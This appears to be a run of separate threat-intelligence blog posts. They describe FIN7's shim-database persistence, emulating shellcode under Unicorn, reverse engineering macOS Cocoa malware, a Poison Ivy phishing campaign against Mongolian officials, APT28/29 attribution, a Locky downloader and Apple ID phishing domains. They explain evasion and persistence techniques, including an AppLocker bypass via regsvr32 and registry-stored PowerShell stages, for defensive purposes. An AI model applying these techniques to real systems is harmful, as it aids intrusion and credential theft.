Acknowledgements

Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer

To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence

In 2017, Mandiant responded to multiple incidents we attribute to FIN7, a financially motivated threat group associated with malicious operations dating back to 2015. Throughout the various environments, FIN7 leveraged the CARBANAK backdoor, which this group has used in previous operations.

A unique aspect of the incidents was how the group installed the CARBANAK backdoor for persistent access. Mandiant identified that the group leveraged an application shim database to achieve persistence on systems in multiple environments. The shim injected a malicious in-memory patch into the Services Control Manager (“services.exe”) process, and then spawned a CARBANAK backdoor process.

Mandiant identified that FIN7 also used this technique to install a payment card harvesting utility for persistent access. This was a departure from FIN7’s previous approach of installing a malicious Windows service for process injection and persistent access.

Application Compatibility Shims Background

According to Microsoft, an application compatibility shim is a small library that transparently intercepts an API (via hooking), changes the parameters passed, handles the operation itself, or redirects the operation elsewhere, such as additional code stored on a system. Today, shims are mainly used for compatibility purposes for legacy applications. While shims serve a legitimate purpose, they can also be used in a malicious manner. Mandiant consultants previously discussed shim databases at both BruCon and BlackHat.

Shim Database Registration

There are multiple ways to register a shim database on a system. One technique is to use the built-in “sdbinst.exe” command line tool. Figure 1 displays the two registry keys created when a shim is registered with the “sdbinst.exe” utility.

Figure 1: Shim database registry keys

Once a shim database has been registered on a system, the shim database file (“.sdb” file extension) will be copied to the “C:\Windows\AppPatch\Custom” directory for 32-bit shims or “C:\Windows\AppPatch\Custom\Custom64” directory for 64-bit shims.

Malicious Shim Database Installation

To install and register the malicious shim database on a system, FIN7 used a custom Base64 encoded PowerShell script, which ran the “sdbinst.exe” utility to register a custom shim database file containing a patch onto a system. Figure 2 provides a decoded excerpt from a recovered FIN7 PowerShell script showing the parameters for this command.

Figure 2: Excerpt from a FIN7 PowerShell script to install a custom shim

FIN7 used various naming conventions for the shim database files that were installed and registered on systems with the “sdbinst.exe” utility. A common observance was the creation of a shim database file with a “.tmp” file extension (Figure 3).

Figure 3: Malicious shim database example

Upon registering the custom shim database on a system, a file named with a random GUID and an “.sdb” extension was written to the 64-bit shim database default directory, as shown in Figure 4. The registered shim database file had the same MD5 hash as the file that was initially created in the “C:\Windows\Temp” directory.

Figure 4: Shim database after registration

In addition, specific registry keys were created that correlated to the shim database registration.  Figure 5 shows the keys and values related to this shim installation.

Figure 5: Shim database registry keys

The database description used for the shim database registration, “Microsoft KB2832077” was interesting because this KB number was not a published Microsoft Knowledge Base patch. This description (shown in Figure 6) appeared in the listing of installed programs within the Windows Control Panel on the compromised system.

Figure 6: Shim database as an installed application

Malicious Shim Database Details

During the investigations, Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of “services.exe” with their CARBANAK payload. This occurred when the “services.exe” process executed at startup. The shim database file contained shellcode for a first stage loader that obtained an additional shellcode payload stored in a registry key. The second stage shellcode launched the CARBANAK DLL (stored in a registry key), which spawned an instance of Service Host (“svchost.exe”) and injected itself into that process.  

Figure 7 shows a parsed shim database file that was leveraged by FIN7.

Figure 7: Parsed shim database file

For the first stage loader, the patch overwrote the “ScRegisterTCPEndpoint” function at relative virtual address (RVA) “0x0001407c” within the services.exe process with the malicious shellcode from the shim database file. 

The new “ScRegisterTCPEndpoint” function (shellcode) contained a reference to the path of “\REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM”, which is a registry location where additional malicious shellcode and the CARBANAK DLL payload was stored on the system.

Figure 8 provides an excerpt of the parsed patch structure within the recovered shim database file.

Figure 8: Parsed patch structure from the shim database file

The shellcode stored within the registry path “HKLM\SOFTWARE\Microsoft\DRM” used the API function “RtlDecompressBuffer” to decompress the payload. It then slept for four minutes before calling the CARBANAK DLL payload's entry point on the system. Once loaded in memory, it created a new process named “svchost.exe” that contained the CARBANAK DLL. 

Bringing it Together

Figure 9 provides a high-level overview of a shim database being leveraged as a persistent mechanism for utilizing an in-memory patch, injecting shellcode into the 64-bit version of “services.exe”.

Figure 9: Shim database code injection process

Detection

Mandiant recommends the following to detect malicious application shimming in an environment:

  1. Monitor for new shim database files created in the default shim database directories of “C:\Windows\AppPatch\Custom” and “C:\Windows\AppPatch\Custom\Custom64”
  2. Monitor for registry key creation and/or modification events for the keys of “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom” and “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB”
  3. Monitor process execution events and command line arguments for malicious use of the “sdbinst.exe” utility 

Writing a libemu/Unicorn Compatability Layer

In this post we are going to take a quick look at what it takes to write a libemu compatibility layer for the Unicorn engine. In the course of this work, we will also import the libemu Win32 environment to run under Unicorn.

For a bit of background, libemu is a lightweight x86 emulator written in C by Paul Baecher and Markus Koetter. It was released in 2007 and includes a built-in Win32 environment that allows shellcodes to resolve API at runtime. The library also provides end users with a convenient way to receive callbacks when API functions are hit. The original project supported 5 Windows dlls, 51 hooks and 234 opcodes all wrapped in a tight 1mb package. Unfortunately it is no longer being updated.

In late 2015, we saw the Unicorn engine project released by Nguyen Anh Quynh and Dang Hoang Vu. This project takes the processor emulators from QEMU and wraps them into an easy to use library. Unicorn, however, does not provide a Win32 layer.

As an experiment, we were curious to see what it would take to bring the libemu Win32 environment into Unicorn. This task actually turned out to be quite simple since it was nicely self contained. In the process of exploring this it also made sense to write a basic shim layer to support the libemu API and translate its inner workings over to Unicorn.

Lets start with the common libemu API:

The API is actually very similar to Unicorn:

The major differences are that Unicorn does everything through an opaque uc_engine* handle, while libemu uses a series of structs such as emu, emu_cpu, and emu_memory:

In general, the emu and emu_memory structures are passed directly as arguments to API wrappers such as emu_cpu_get, emu_memory_get and the emu_memory_read/write functions. There is one common case of direct member access to the emu_cpu structure that requires some special attention. This structure gives the user direct read/write access to the emulator’s virtual processor and is commonly utilized by user code. Examples to support include:

The next task was to see if we could mimic the direct access to the emu_cpu elements as if they were static struct fields. Here we enter the world of C++ operator overloading.

With these tasks complete, porting existing code from libemu over to Unicorn should be a pretty straightforward task.

In Figure 1 we see an initial test, we put together that includes the Win32 environment, shim layer, several API hooks and a hard coded payload.

Figure 1: Initial test of the libemu Win32 environment and hooks running under Unicorn

With this working, the next stage was to try it out against a larger code base. Here we imported the userhooks.cpp from scdbg, an extension of the libemu sctest that includes some 250 API hooks. As it turns out, very few changes were required to get it working.

In Figure 2, we can see the results of testing it against a fairly complex shellcode that:

  • allocates virtual memory
  • copies code to the new alloc
  • creates a new thread
  • downloads an executable
  • checks the registry for the presence of Antivirus software

Note that while this shellcode would normally do process injection, scdbg handles it all inline for simplified analysis.


Figure 2: Complex shellcode running with hooks imported from scdbg

Another large feature to test was the scdbg debug shell. When testing software in an emulated environment, having interactive debug tools available is extremely handy.

Figure 3 shows an example of setting a breakpoint, single stepping, and examining memory of code running in the emulator.


Figure 3: Imported scdbg debug shell running with Unicorn Engine and libemu shim layer

Conclusion

In this article we took a quick look at the differences between the libemu and Unicorn emulators API. This allowed us to create a shim layer to import legacy libemu code and use it with Unicorn largely unchanged.

Once the shim layer was in place, we next imported the libemu Win32 Environment so we could run it under Unicorn.

As a final test we ported several large portions of the scdbg project, which was originally written to run under libemu. Here our previous work allowed for the importation of scdbg's 250+ API hooks and debug shell to run under Unicorn with only minimal changes.

Overall the entire process went quite smoothly and should provide benefits for developers of libemu and/or Unicorn. If you would like to experiment for yourself you can download a copy of our test project here.

Introduction to Reverse Engineering Cocoa Applications

While not as common as Windows malware, there has been a steady stream of malware discovered over the years that runs on the OS X operating system, now rebranded as macOS. February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker, a macOS version of APT28’s Xagent malware, and a new Trojan ransomware.

In this blog, the FLARE team would like to introduce two small tools that can aid in the task of reverse engineering Cocoa applications for macOS. In order to properly introduce these tools, we will lay a bit of foundation first to introduce the reader to some Apple-specific topics. Specifically, we will explain how the Objective-C runtime complicates code analysis in tools such as IDA Pro, and how to find useful entry points into a Cocoa application’s code where you can begin analysis.

If you find these topics fascinating or if you want to be better prepared to investigate macOS malware in your own environment, come join us for a two-day crash course on this topic that we will be teaching at Black Hat Asia and Black Hat USA this year.

Cocoa Application Anatomy

When we use the term “Cocoa application”, we are referring to an application that is built using the AppKit framework, which belongs to what Apple refers to as the Cocoa Application Layer. In macOS, applications are distributed in an application bundle, a directory structure made to appear as a single file containing executable code and its associated resources, as illustrated in Figure 1.  

Figure 1: Directory structure of iTerm application bundle

These bundles can contain a variety of different files, but all bundles must contain at least two critical files: Info.plist and an executable file residing in the MacOS folder. The executable file can be any file with execute permissions, even a python or shell script, but it is typically a native executable. Mach-O is the native executable file format for macOS and iOS. The Info.plist file describes the application bundle, containing critical information the OS needs in order to properly load it. Plist files can be in one of three possible formats: XML, JSON, or a proprietary binary format called bplist. A handy utility named plutil is available in macOS that allows you to convert between formats, or simply pretty-print a plist file regardless of its format. The most notable key in the Info.plist file is the CFBundleExecutable key, which designates the name of the executable in the MacOS folder that will be executed. Figure 2 shows a snippet of the pretty-printed output from plutil for the iTerm application’s Info.plist file.

Figure 2: snippet from iTerm application’s Info.plist file

Objective-C

Cocoa applications are typically written in Objective-C or Swift. Swift, the newer of the two languages, has been quickly catching up to Objective-C in popularity and appears to have overtaken it. Despite this, Objective-C has many years over Swift, which means the majority of malicious Cocoa applications you will run into will be written in Objective-C for the time being. Additionally, older Objective-C APIs tend to be encountered during malware analysis. This can be due to the age of the malware or for the purpose of backwards compatibility. Objective-C is a dynamic and reflective programming language and runtime. Roughly 10 years ago, Objective-C version 2.0 was released, which included major changes to both the language and the runtime. Where details are concerned, this blog is referring to version 2.0.

Programs written in Objective-C are transformed into C as part of the compilation process, making it at least a somewhat comfortable transition for most reverse engineers. One of the biggest hurdles to such a transition comes in how methods are called in Objective-C. Objective-C methods are conceptually similar to C functions; they are a unit of code that performs a specific task, optionally taking in parameters and returning a value. However, due to the dynamic nature of Objective-C, methods are not normally called directly. Instead, a message is sent to the target object. The name of a method is called a selector, while the actual function that is executed is called an implementation. The message specifies a reference to the selector that is to be invoked along with any method parameters. This allows for features like “method swizzling,” in which an application can change the implementation for a given selector. The most common way in which messages are sent within Objective-C applications is the objc_msgSend function. Figure 3 provides a small snippet of Objective-C code that opens a URL in your browser. Figure 4 shows this same code represented in C.

 

Figure 3: Objective-C code snippet

 

 

Figure 4: Objective-C code represented in C

As you can see, the Objective-C code between the brackets amounts to a call to objc_msgSend.

Unfortunately, this message sending mechanism causes problems when trying to follow cross-references for selectors in IDA Pro. While you can easily see all the cross-references for a given selector from any location where it is referenced, the implementations themselves are not called or referenced directly and so there is no easy way to jump from a selector reference to its implementation or vice-versa. Figure 5 illustrates this problem by showing that the only cross-reference to an implementation is in the __objc_const section of the executable, where the runtime stores class member data.

Figure 5: Cross-reference to an implementation

Of course, the information that links these selector references to their implementations is stored in the executable, and thankfully IDA Pro can to parse this data for us. In the __objc_const section, a structure identified by IDA Pro as __objc2_meth has the definition illustrated in Figure 6.

 

 

Figure 6: __objc2_meth structure

The first field of this structure is the selector for the method. One of the cross-references to this field brings us to the __objc_selrefs section of the executable where you can find the selector reference. Following the cross-references of the selector reference will reveal to us any locations in the code where the selector is used. The third field of the structure points to the implementation of the selector, which is the function we want to analyze. What is left to do is simply use this data to create the cross-references. The first of the two tools we are introducing is an IDAPython script named objc2_xrefs_helper.py that does just that for x86_64 Mach-O executable files using Objective-C 2.0. This script is similar to older IDAPython scripts released by Zynamics, however their scripts do not support the x86_64 architecture. Our script is available along with all of our other scripts and plugins for IDA Pro from our Github repo here. For each Objective-C method that is defined in the executable, objc2_xrefs_helper.py patches the instructions that cross-reference its selector to reference the implementing function itself and creates a cross-reference from the referencing instruction to the implementation function. Using this script allows us to easily transition from a selector’s implementation to its references and vice-versa, as shown in Figure 7 and Figure 8.

Figure 7: Cross-references added for implementation

Figure 8: View selector’s implementation from its reference

There is a noteworthy shortcoming to this tool, however. If more than one class defines a method with the same name, there will only be one selector present in the executable. For now, the tool ignores these ambiguous selectors.

Cocoa Applications – Where to Begin Looking?

Another quandary with reverse engineering Cocoa applications, or any application built with an application framework, is determining where the framework’s code ends and the author’s code begins. With programs written in C/C++, the author’s code would typically begin within the main function of the program. While there are many exceptions to this rule, this is generally the case. For programs using the Cocoa Application template in Apple’s IDE, Xcode, the main function simply performs a tail jump into a function exported by the AppKit framework named NSApplicationMain, as shown in Figure 9.

Figure 9: A Cocoa application's main function

So where do we look to find the first lines of code written by the application’s author that would be executed? The answer to that question lies within NSApplicationMain. In summary, NSApplicationMain performs three important steps: constructing the NSApplication object, loading the main storyboard or nib file, and starting the event loop. The NSApplication object plays the important role of event and notification coordinator for the running application. NSApplicationMain looks for the name of this class in the NSPrincipalClass key in the Info.plist file of the application bundle. Xcode simply sets this key to the NSApplication class, but this class may be subclassed or reimplemented and the key overwritten. A noteworthy notification that is coordinated by the NSApplication object is NS‌Application‌Did‌Finish‌Launching‌Notification, which is designated as the proper time to run any application-specific initialization code the author may have. To handle this notification, the application may designate a delegate class that adheres to the NSApplicationDelegate protocol. In Objective-C, a protocol fills the role traditionally referred to as an interface in object-oriented parlance. The relevant method in this protocol for encapsulating initialization code is the application‌Did‌Finish‌Launching method. By default, Xcode creates this delegate class for you and names it AppDelegate. It even defines an empty applicationDidFinishLaunching method for the application developer to modify as desired. With all this information in hand, the best place to look for the initial code of most Cocoa applications is in a method named applicationDidFinishLaunching, as shown in Figure 10.

Figure 10: Search for applicationDidFinishLaunching method

If you find nothing useful, then fall back to analyzing the main function. It is important to note that all this information is specific to apps created using the Cocoa Application template in Xcode. Cocoa applications do not need to use NSApplicationMain. One can write their own Cocoa application from scratch, implementing his or her own version of NSApplicationMain.

Interface Builder and Nib Files

It was previously mentioned that one of the main responsibilities of NSApplicationMain is to load the main storyboard or nib file. “Nib” stands for NeXTSTEP Interface Builder, referring to the Interface Builder application that is a part of Xcode. Interface Builder allows developers to easily build graphical user interfaces and even wire their controls to variables and methods within their code using a graphical interface. As a developer builds GUIs with Interface Builder, graphs of objects are formed. An object graph is saved in XML format in a .xib file in the project folder. When the project is built, each object graph is serialized using the NSKeyedArchiver class and stored in Apple’s bplist format in a .nib file within the application bundle, typically under the Resources folder. Xcode writes the name of the main nib file to the application’s Info.plist file under the key NSMainNibFile. When an application loads a nib file, this object hierarchy is unpacked into memory and all the connections between various GUI windows, menus, controls, variables, and methods are established. This list of connections includes the connection between the application delegate and the NSApplication class. Storyboards were added to macOS in Yosemite. They enable the developer to lay out all of the application’s various views that will be shown to the user and specify their relationships. Under the hood, a storyboard is a directory containing nib files and an accompanying Info.plist file. The main storyboard directory is designated under the key NSMainStoryboardFile in the application’s Info.plist file.

This brings us to the other tool we would like to share, nib_parse.py, which is available from our Github repo here. nib_parse.py uses ccl_bplist to decode and deserialize a nib file and print out the list of connections defined within it.  For each connection, it prints the label for the connection (typically a method or variable name) and the source and destination objects’ classes. Each object encoded by NSKeyedArchiver is assigned a unique numeric identifier value that is included in the output within enclosed parentheses. For appropriate GUI elements that have textual data associated with them, such as button labels, the text is included in the script output within enclosed brackets. With this information, one can determine the relationships between the code and the GUI elements. It is even possible to rewire the application, changing which functions handle different GUI events. Note that if a nib is not flattened, it will be represented as a directory that contains nib files and you can run this tool on the keyedobjects.nib file located within it instead. For storyboards, you can run this tool on the various nib files present in the storyboard directory.  Figure 11 shows the output of nib_parse.py when it is used on the MainMenu.nib file from the recently discovered MacDownloader threat shown in Figure 12. You may notice that the GUI text in the tool output does not match the GUI text in the screenshot. In this case, many of the GUI elements are altered at run-time in the code illustrated in Figure 13.

 

Figure 11: nib_parse.py output for MacDownloader threat

Figure 12: MacDownloader's initial window

Figure 13: Code updating the text of buttons

The output from nib_parse.py shows that the author used the default delegate class AppDelegate provided by Xcode. The AppDelegate class has two instance variables for NSButton objects along with four instance variables for NSTextField objects. A selector named btnSearchAdware is connected to the same button with id (49) as the instance variable btnAction. This is likely an interesting function to begin analysis.

Summary

We hope you have enjoyed this whirlwind tour of reverse engineering Cocoa applications. If you are interested in getting some more exposure to macOS internals and analysis tools, reverse engineering and debugging techniques, and real macOS malware found in the wild, then come hang out with us at Black Hat this year and learn more!

Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government

Introduction

FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government. Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy, a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more. The threat actors behind this attack demonstrated some interesting techniques, including:

  1. Customized evasion based on victim profile – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems.
  2. Fileless execution and persistence – In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination. The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files.
  3. Decoy documents – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.
Attack Cycle

The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload.

The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process. The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace. Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry.   

Figure 1 shows the stages of the payload execution from the malicious macro.

Figure 1: Stages of payload execution used in this attack

Social Engineering and Macro-PowerShell Level 1 Usage

Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal.

When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2, asking them to enable macros.

Figure 2: Lure suggesting the user to enable Macros to see content

Bypassing Application Whitelisting Script Protections (AppLocker)

Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system. In April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies. The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument. This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file.

We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file, as seen in Figure 3.

Figure 3:  Command after de-obfuscation to bypass AppLocker via regsv32.exe

Figure 4 shows the entire command line parameter used to bypass AppLocker.

Figure 4: Command line parameter used to bypass AppLocker

We found that the malicious SCT file invokes WScript to launch PowerShell in hidden mode with an encoded command, as seen in Figure 5.

Figure 5: Content of SCT file containing code to launch encoded PowerShell

Decoding SCT: Decoy launch and Stage Two PowerShell

After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two purposes:

1.     There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet. When the victim enables macros, they will see the decoy document shown in Figure 6. This document contains the content described in the spear phishing email.

Figure 6: Decoy downloaded and launched on the victim’s screen

2.     After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1 as shown in Figure 7.

Figure 7: PowerShell to download and run decoy decoy document and third-stage payload

Third Stage PowerShell Persistence

The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the HKCU: \Console\FontSecurity registry key. Figure 8 shows a portion of the PowerShell commands for writing this value to the registry.

Figure 8: Code to set registry with encoded PowerShell script

Figure 9 shows the registry value containing encoded PowerShell code set on the victims’ system.

Figure 9: Registry value containing encoded PowerShell script

Figure 10 shows that using Start-Process, PowerShell decodes this registry and runs the malicious code.

Figure 10: Code to decode and run malicious content from registry

The third stage PowerShell script also configures another registry value  named HKCU\CurrentVersion\Run\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU: \Console\FontSecurity key. Figure 11 shows the code for these actions. This will execute the PowerShell payload when the user logs in to the system.

Figure 11: PowerShell registry persistence

Fourth Stage PowerShell Inject-LocalShellCode

The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12. This script borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject shellcode.

Figure 12: Code to inject shellcode

Shellcode Analysis

The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13.

Figure 13: Decryption loop and call to decrypted shellcode

After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14.

Figure 14: Code injection in userinit.exe and attempt to access Poison Ivy related DAT files

In the decrypted shellcode, we also observed content and configuration related to Poison Ivy.  Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following:

  • Active setup – StubPath
  • Encryption/Decryption key - version2013
  • Mutex name - 20160509                 

The Poison Ivy configuration dump is shown in Figure 15.

Figure 15: Poison Ivy configuration dump

Conclusion

Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns. Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host.

FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here. It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload. HX also contains generic detections for the registry persistence, AppLocker bypasses and subsequent stages of PowerShell abuse used in this attack.

DHS and FBI Joint Analysis Report Confirms FireEye’s Assessment that Russian Government Likely Sponsors APT28 and APT29

On Dec. 29, 2016, the Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) released a Joint Analysis Report confirming FireEye’s long held public assessment that the Russian government likely sponsors the groups that we track as Advanced Persistent Threat (APT) 28 and APT29. We have tracked and profiled these groups through multiple investigations, endpoint and network detections, and continuous monitoring, allowing us to understand the groups’ malware, operational changes and motivations. This intelligence has been critical to protecting and informing our clients and exposing this threat.

FireEye first publicly announced that the Russian government likely sponsors APT28 in a report released in October 2014. APT28 has pursued military and political targets in the U.S. and globally, including U.S. political organizations, anti-doping agencies, NGOs, foreign and defense ministries, defense attaches, media outlets, and high profile government and private sector entities. Since at least 2007, APT28 has conducted operations using a sophisticated set of malware that employs a flexible, modular framework allowing APT28 to consistently evolve its toolset for future operations. APT28’s operations closely align with Russian military interests and the 2016 breaches, and pursuant public data leaks demonstrate the Russian government's wide-ranging approach to advancing its strategic political interests.

In July 2015, we released a report focusing on a tool used by APT29, malware that we call HAMMERTOSS. In detailing the sophistication and attention to obfuscation evident in HAMMERTOSS, we sought to explain how APT29’s tool development effort defined a clandestine, well-resourced and state-sponsored effort. Additionally, we have observed APT29 target and breach entities including government agencies, universities, law firms and private sector targets. APT29 remains one of the most capable groups that we track, and the group’s past and recent activity is consistent with state espionage.

The Joint Analysis Report also includes indicators for another group we (then iSIGHT Partners) profiled publicly in 2014: Sandworm Team. Since 2009, this group has targeted entities in the energy, transportation and financial services industries. They have deployed destructive malware that impacted the power grid in Ukraine in late 2015 and used related malware to affect a Ukrainian ministry and other financial entities in December 2016. Chiefly characterized by their use of the well-known Black Energy trojan, Sandworm Team has often retrofitted publicly available malware to further their offensive operations. Sandworm Team has exhibited considerable skill and used extensive resources to conduct offensive operations. 

Locky is Back Asking for Unpaid Debts

On June 21, 2016, FireEye’s Dynamic Threat Intelligence (DTI) identified an increase in JavaScript contained within spam emails. FireEye analysts determined the increase was the result of a new Locky ransomware spam campaign.

As shown in Figure 1, Locky spam activity was uninterrupted until June 1, 2016, when it stopped for nearly three weeks. During this period, Locky was the most dominant ransomware distributed in spam email. Now, Locky distribution has returned to the level seen during the first half of 2016.

Figure 1. Locky spam activity in 2016

Figure 2 shows that the majority of Locky spam email detections between June 21 and June 23 of this year were recorded in Japan, the United States and South Korea.

Figure 2. Locky spam by country from June 21 to June 23 of this year

The spam email – a sample shown is shown in Figure 3 – purports to contain an unpaid invoice in an attached ZIP archive. Instead of an invoice, the ZIP archive contains a Locky downloader written in JavaScript.

Figure 3. Locky spam email

JavaScript based Downloader Updates

In this campaign, few updates were seen in both the JavaScript based downloader and the Locky payload.

The JavaScript downloader does the following:

  1. Iterates over an array of URLs hosting the Locky payload.
  2. If a connection to one of the URLs fails, the JavaScript sleeps for 1,000 ms before continuing to iterate over the array of URLs.
  3. Uses a custom XOR-based decryption routine to decrypt the Locky payload.
  4. Ensures the decrypted binary is of a predefined size. In Figure 4 below, the size of the decrypted binary had to be greater than 143,360 bytes and smaller than 153,660 bytes to be executed.

Figure 4. Payload download function in JavaScript

5.     Checks (Figure 5) that the first two bytes of the binary contain the “MZ” header signature.

Figure 5: MZ header check

6.     Executes the decrypted payload by passing it the command line parameter, “123”.

Locky Payload Updates

The Locky ransomware downloaded in this campaign requires a command line argument to properly execute. This command line parameter, “123” in the analyzed sample, is passed to the binary by the first stage JavaScript-based downloader. This command line parameter value is used in the code unpacking stage of the ransomware. Legitimate binaries typically verify the number of arguments passed or compare the command line parameter with the expected value and gracefully exit if the check fails. However in the case of this Locky ransomware, the program does not exit (Figure 6) and the value received as a command line parameter is added to a constant value defined in the binary. The sum of the constant and the parameter value is used in the decryption routine (Figure 7). If no command line parameter is passed, it adds zero to the constant.

Figure 6. Command line parameter check

Figure 7. Decryption routine

If no command line parameter is passed, then the constant for the decryption routine is incorrect. This results in program crash as the decrypted code is invalid. In Figure 8 and Figure 9, we can see the decrypted code sections with and without the command line parameter, respectively.

Figure 8. Correct decrypted code

Figure 9. Incorrect decrypted code

By using this technique, Locky authors have created a dependency on the first stage downloader for the second stage to be executed properly. If a second stage payload such as this is directly analyzed, it will result in a crash.

Conclusion

As of today, the Locky spam campaign is still ongoing, with an added anti-analysis / sandbox evasion technique. We expect to see additional Locky spam campaigns and will remain vigilant in order to protect our customers.

Email Hashes

2cdf62f8aae20026418f143895c769a2009e6b9b3ac59bfa8fc79ca2f326b93a

1fd5c1f0ecc1d54324f3bdc327e7893032482a13c0914ef6f531bd93caef0a06

0ea7d59d7f1494fce8f45a1f35abb07a456de6d8d65327eca8ff84f307a49a06

22645be8553628574a7af3c32a45178e201e9af33b20b36d29b9c012b731da4c

198d8d1a89221c575d957c1f4342741f3675ebb10f95ffe3371150e124f4850e

 

Rotten Apples: Apple-like Malicious Phishing Domains

At FireEye Labs we have an automated system designed to proactively detect newly registered malicious domains. This system observed some phishing domains registered in the first quarter of 2016 that were designed to appear as legitimate Apple domains. These phony Apple domains were involved in phishing attacks against Apple iCloud users in China and UK. In the past we have observed several phishing domains targeting Apple, Google and Yahoo users; however, these campaigns are unique as they are serving the same malicious phishing content from different domains to target Apple users.

Since January 2016 we have observed several phishing campaigns targeting the Apple IDs and passwords of Apple users. Apple provides all of its customers with an Apple ID, a centralized personal account that gives access to iCloud and other Apple features and services such as the iTunes Store and App Store. Users will provide their Apple ID to sign in to iCloud[.]com, and use the same Apple ID to set up iCloud on their iPhone, iPad, iPod Touch, Mac, or Windows computer.

iCloud ensures that users always have the latest versions of their important information –  including documents, photos, notes, and contacts – on all of their Apple devices. iCloud provides an easy interface to share photos, calendars, locations and more with friends and family, and even helps users find their device if they lose it. Perhaps most importantly, its iCloud Keychain feature allows user to store passwords and credit card information and have it entered automatically on their iOS devices and Mac computers.

Anyone with access to an Apple ID, password and some additional information, such as date of birth and device screen lock code, can completely take over the device and use the credit card information to impersonate the user and make purchases via the Apple Store.

This blog highlights some highly organized and sophisticated phishing attack campaigns we observed targeting Apple customers.

Campaign 1: Zycode phishing campaign targeting Apple's Chinese Customers

This phishing kit is named “zycode” after the value of a password variable embedded in the JavaScript code which all these domains serve in their HTTP responses.

The following is a list of phishing domains targeting Apple users detected by our automated system in March 2016. None of these domains are registered by Apple, nor are they pointing to Apple infrastructure:

The list shows that the attackers are attempting to mimic websites related to iTunes, iCloud and Apple ID, which are designed to lure and trick victims into submitting their Apple IDs.

Most of these domains appeared as an Apple login interface for Apple ID, iTunes and iCloud. The domains were serving highly sophisticated, obfuscated and suspicious JavaScripts, which was creating the phishing HTML content on the web page. This technique is effective against anti-phishing systems that rely on the HTML content and analyze the forms.

From March 7 to March 12, the following domains used for Apple ID phishing were observed, all of which were registered by a few entities in China using a qq[.]com email address: iCloud-Apple-apleid[.]com, Appleid-xyw[.]com, itnues-appid[.]com, AppleidApplecwy[.]com, appie-itnues[.]com, AppleidApplecwy[.]com, Appleid-xyw[.]com, Appleid-yun-iCloud[.]com, iCloud-Apple-apleid[.]com, iphone-ioslock[.]com, iphone-appdw[.]com.

From March 13 to March 20, we observed these new domains using the exact same phishing content, and having similar registrants: iCloud-Appleid-yun[.]win, iClouddd[.]top, iCloudee[.]top, iCloud-findip[.]com, iCloudhh[.]top, ioslock-Apple[.]com, ioslock-iphone[.]com, iphone-iosl0ck[.]com, lcloudmid[.]com

On March 30, we observed the following newly registered domains serving this same content: iCloud-mail-Apple[.]com, Apple-web-icluod[.]com, Apple-web-icluodid[.]com, AppleidAppleiph[.]com , icluod-web-ios[.]com and ios-web-Apple[.]com

Phishing Content and Analysis

Phishing content is usually available in the form of simple HTML, referring to images that mimic a target brand and a form to collect user credentials. Phishing detection systems look for special features within the HTML content of the page, which are used to develop detection heuristics. This campaign is unique as a simple GET request to any of these domains results in an encoded JavaScript content in the response, which does not reveal its true intention unless executed inside a web browser or a JavaScript emulator. For example, the following is a brief portion of the encoded string taken from the code.

This encoded string strHTML goes through a complex sequence of around 23 decrypting/decoding functions that include number system conversions, pseudo-random pattern modifiers followed by XOR decoding using a fixed key or password “zycode” for the actual HTML phishing content to be finally created (refer to Figure 15 and Figure 16 in Appendix 1 for complete code). Phishing detection systems that rely solely on the HTML in the response section will completely fail to detect the code generated using this technique.

Once loaded into the web browser, this obfuscated JavaScript creates an iCloud phishing page. This page is shown in Figure 1.

Figure 1: The page created by the obfuscated JavaScript as displayed in the browser

The page is created by the de-obfuscated content seen in Figure 2.

Figure 2: Deobfuscated content

